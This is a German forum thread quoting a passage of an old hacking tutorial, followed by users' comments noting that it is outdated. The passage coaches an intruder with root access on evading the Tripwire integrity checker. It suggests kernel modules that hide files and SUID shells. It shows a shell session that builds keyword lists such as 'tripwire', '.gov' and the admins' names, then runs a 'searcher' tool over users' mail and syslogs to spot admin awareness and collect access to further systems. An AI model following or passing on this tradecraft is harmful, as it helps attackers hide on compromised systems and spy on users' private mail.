Bevor wir irgendwelche Files ersetzen oder aendern sollten wir ueberpruefen ob die Admins einen Integry-Checker zum Schutz vor Trojan-Horses etc. einsetzen. Auf diesem Rechner ist das der Fall. Grundsaetzlich kann ich nur sagen, dass du niemals so sicherheitsrelevante Files, wie z.B. '/etc/passwd' oder '/etc/inetd.conf', veraendern solltest; egal wie clever du vorgehst, die Admins werden es immer entdecken und meistens eher frueher als spaeter. Dasselbe gilt fuer SUID-Shells. Ich kann auch nur davon abraten die Tripwire-DB zu manipulieren, was in diesem Fall auch garnicht moeglich ist, da sich die DB auf 'ner write-protected Floppy befindet.
Natuerlich koenntest du fuer Linux die weit verbreiteten Loadable-Kernel-Modules (LKMs) verwenden um die Syscalls zu verbiegen, damit du dein Trojan-Horse in den Kernel verlegst, oder spez. fuer Tripwire, die Zugriffe auf die geschuetzten Files manipulierst. Ich halte solche Eingriffe in das System fuer zu Aufwendig und folglich Auffaellig. Was mir hingegen gefaellt sind gute LKMs, die die Praesenz von bestimmten Dingen, wie Files, User, LKMs etc, verbergen. Mit soeinem 'Hide-LKM' ist es dann auch moeglich SUID-Shell im System zu verschtecken.

bash# cd /tmp/".. "
bash# cat > wl.mail
hacker
cracker
intrusion
security
break-in
hack
password
login
account
tripwire
integry
sniffer
cpm
ifconfig
military
.ml
.gov
^C
bash# cat > wl.log
source.ass
johnny
^C
bash# ./searcher -vvv -rnf -m wl.mail -l wl.log > s.res &
[1] 454
bash#

Searcher sucht nun nach den angegeben Wortern in den E-Mails der User bzw. in den Syslog-Files (doppelt haelt besser) und zuseatzlich verschafft es uns weitere Informationen, die uns den Zugang zu anderen Systemen ermoeglichen koennen.
Searcher ist auch sehr nuetzlich, wenn du Informationen ueber ganz bestimmte Sachen suchst, z.B. ueber irgendwelche Forschungs-Projekte, die sich natuerlich mit Internet-Security & Co. beschaeftigen, oder wenn du Daten ueber deine Noten im Verwaltungs-Server deiner Uni suchst ;). Um die Suche etwas zu beschleunigen kannst du dich nur auf ausgewaehlte Gruppen von Usern beschraenken.
Am besten ist es wenn du Searcher schon frueh startest, da er viel Zeit benoetigt.
Das Resultat von Searcher's Arbeit kannst du am besten mit 'gzip --best' komprimieren, mit 'uuencode' ausgeben lassen und nach dem Hack aus deinen Logs extrahieren um es zu analysieren.

Jetzt ist der richtige Zeitpunkt gekommen

Jigsaaw
20.11.2007, 16:42
Hat des eina verstanden???
Ich nämlich net ^^

cfchris6
16.02.2008, 00:44
Also ich fands sehr aufschlussreich, auch wenn das leider wie alles gute was ich bis jetzt so finde recht veraltet ist. Man sehe, dass bei dem Beispiel-Hack auf dem Server ein 2.0 er Kernel läuft, bei dem wurden Grafikkarten noch mit isapnp eingerichtet. :wink: Genauso wie bei den Buffer overflow howtos, damals war in gcc noch nichteinmal die Rede von Stack protection.
Andererseits ist das auch nicht immmer schlecht wenn es so, wie es dasteht, nicht gleich auf Anhieb funktioniert, denn es beugt stupidem Kopieren vor und regt zum eigenständigen Denken und Verstehen(!) an.

@Vorredner: irgendwo, ich glaube auf Gulli, habe ich mal gelesen, "Nachdem du es gelesen hast, lies es nochmal, denn du hast beim ersten mal nicht alles verstanden." Das ist eben wie viele andere gute HowTos nichts, was man so nebenher immer mal paar Zeilen lesen kann, sondern man muss sich durcharbeiten, drüber nachdenken, selbst probieren, falsch machen, richtig machen.... Ich denke, es ist klar geworden was gemeint ist, der Text ist nichts für ne Viertelstunde zwischendurch.

extreme88
16.02.2008, 03:57
Ich habe mal den text kopiert und in txt geknallt werde es mir heute mittag mal durchlesen und dann ein comment nochmals dazu abgeben wie ich es so finde...

mfg eXe

Time2Play
16.02.2008, 12:00
Grabt doch bitte keine 4 Jahre alten Threads aus.

cfchris6
17.02.2008, 01:38
Sry, hatte nur auf das Datum von Jigsaaw gesehen und das lag für mich im noch grad so annehmbaren Rahmen, dass ich drauf anworten kann.

Außerdem: Gepostet wurde das ganze 2004, der Artikel ist von 1998, das ist auch schon ausgegraben :wink:

Time2Play
17.02.2008, 21:31
Wir befinden uns hier im Bereich Text Tutorials und nicht bei Globale News.

Es ist also völlig ok informative, vllt auch etwas ältere Artikel hier rein zu stellen.

Früher funktionierte noch sehr viel davon, es ist aber schwachsinnig heutzutage darüber zu diskutieren, da der Artikel nun völlig veraltet ist.